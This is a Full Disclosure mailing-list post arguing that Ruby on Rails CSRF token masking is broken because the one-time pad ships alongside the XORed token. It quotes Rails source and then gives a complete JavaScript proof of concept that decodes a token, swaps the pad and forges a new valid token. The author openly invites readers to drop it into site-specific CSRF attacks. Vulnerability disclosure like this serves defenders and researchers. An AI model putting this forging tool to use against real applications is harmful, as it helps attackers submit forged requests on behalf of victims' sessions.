[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Ruby on Rails Cross-Site Request Forgery



Good morning.  All current versions and all versions since the 2022/2023 "fix" 
to the Rails cross-site request forgery (CSRF) protections continue to be 
vulnerable to the same attacks as the 2022 implementation.  Currently, Rails 
generates "authenticity tokens" and "csrf tokens" using a random "one time pad" 
(OTP).  This random value is then XORed with the "raw token" (which can take 
one of two forms based on if per-form CSRF protections are in place).  Rails 
then, incorrectly, packages both the OTP and the XORed "raw token" together 
(through basic string concatenation) to form a "masked token", which is what is 
then sent to the user.  Since the key (in this case the OTP) is included with 
the "ciphertext", attackers can "decrypt" the "encrypted CSRF token", generate 
their own random value (OTP), and then recreate the token or simply replay the 
token.  Forging of the "raw token" can also be performed.  Below is some of the 
offending code from Rails main branch's request_forgery_protec
 tion.rb:

      # Creates a masked version of the authenticity token that varies on each
      # request. The masking is used to mitigate SSL attacks like BREACH.
      def masked_authenticity_token(form_options: {})
        action, method = form_options.values_at(:action, :method)

        raw_token = if per_form_csrf_tokens && action && method
          action_path = normalize_action_path(action)
          per_form_csrf_token(nil, action_path, method)
        else
          global_csrf_token
        end

        mask_token(raw_token)
      end

...

      def mask_token(raw_token) # :doc:
        one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
        encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token)
        masked_token = one_time_pad + encrypted_csrf_token
        encode_csrf_token(masked_token)
      end

...

      def real_csrf_token(_session = nil) # :doc:
        csrf_token = request.env.fetch(CSRF_TOKEN) do
          request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) 
|| generate_csrf_token
        end

        decode_csrf_token(csrf_token)
      end

      def per_form_csrf_token(session, action_path, method) # :doc:
        csrf_token_hmac(session, [action_path, method.downcase].join("#"))
      end

...

      def csrf_token_hmac(session, identifier) # :doc:
        OpenSSL::HMAC.digest(
          OpenSSL::Digest::SHA256.new,
          real_csrf_token(session),
          identifier
        )
      end

...

      def real_csrf_token(_session = nil) # :doc:
        csrf_token = request.env.fetch(CSRF_TOKEN) do
          request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) 
|| generate_csrf_token
        end

        decode_csrf_token(csrf_token)
      end

      def per_form_csrf_token(session, action_path, method) # :doc:
        csrf_token_hmac(session, [action_path, method.downcase].join("#"))
      end


For a simple JavaScript-based tool that can take any given CSRF token and forge 
a new token that has the same valid "raw token", see the below.  The code can 
easily be lifted and put into some website-specific CSRF attack (how you get 
your tokens is your business):

/**
* This method returns the "one time pad", extracting it from the full, base64 
encoded token.
*
 * @param {string} full_token - The base64-encoded nonce intended to provide 
CSRF protections
* @return {Uint8Array} The "one time pad" as a byte array
*/
function getOpt(full_token) {
    var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0));
    return decoded_token.subarray(0, 32);
}

/**
* This method returns the raw (XORed) token from the CSRF token.  The "raw 
token" is defined by Rails as the CSRF token, which can either be global 
(per-form CSRF protections are disabled) or per-form (in which case it's a 
SHA256 hash of the session, action, and method).
*
 * @param {string} full_token - The base64-encoded nonce intended to provide 
CSRF protections
* @return {Uint8Array} The "raw token" as a byte array
*/
function getRawToken(full_token) {
    var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0));
    var otp = decoded_token.subarray(0, 32);
    var masked_token = decoded_token.subarray(32);
    var raw_token = new Uint8Array(masked_token.length);

    // XOR the OTP and "masked token"
    for(var i = 0; i < masked_token.length; i++) {
        raw_token[i] = (otp[i] ^ masked_token[i]) & 0xFF;
    }
    return raw_token;
}

/**
* This method returns a new cross-site request forgery token (CSRF) using the 
given "one time pad" and "raw token".
*
 * @param {Uint8Array} otp - The "one time pad" that we are going to make the 
masked token with
* @param {Uint8Array} raw_token - The byte array that is the "raw token"
* @return {String} The new CSRF token
*/
function getCsrfToken(otp, raw_token) {
    var masked_token = new Uint8Array(raw_token.length);

    // XOR the OTP and "raw token"
    for(var i = 0; i < raw_token.length; i++) {
        masked_token[i] = (otp[i] ^ raw_token[i]) & 0xFF;
    }

    // Merge the OTP and masked token into a single array
    var csrf_token = new Uint8Array(otp.length + masked_token.length);
    csrf_token.set(otp);
    csrf_token.set(masked_token, otp.length);

    // Base64 and remove the padding (because they remove it in Rails)
    return btoa(Array.from(csrf_token, b => 
String.fromCharCode(b)).join('')).replace(/=+$/, '');
}

/**
* This method is a "helper method" that is just here for looks.......
*
 * @param {Uint8Array} bytes - The byte array to turn into a hex string
* @return {String} A pretty hexidecimal string representation of the given array
*/
function byteArrayToHexString(bytes) {
    var hex_string = "";
    for(var i = 0; i < bytes.length; i++) {
        hex_string += ('0' + (bytes[i] & 0xFF).toString(16)).slice(-2);
    }
    return hex_string;
}

// Replace this with the stolen token or have your CSRF POC grab the token from 
the page and use that
var token = "INSERT YOUR TOKEN HERE";

// Change the OTP to something else
var otp = getOpt(token);
otp[0] = 0xFF;
otp[1] = 0x00;

// Prove that we produce the same raw token, which is all that matters
if(byteArrayToHexString(getRawToken(token)) == 
byteArrayToHexString(getRawToken(getCsrfToken(otp, getRawToken(token))))){
    console.log("The new token that works is: " + getCsrfToken(otp, 
getRawToken(token)));
    console.log("Go forth and forge away...");
}
else {
    console.log("We failed as testers/programmers...");
}

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/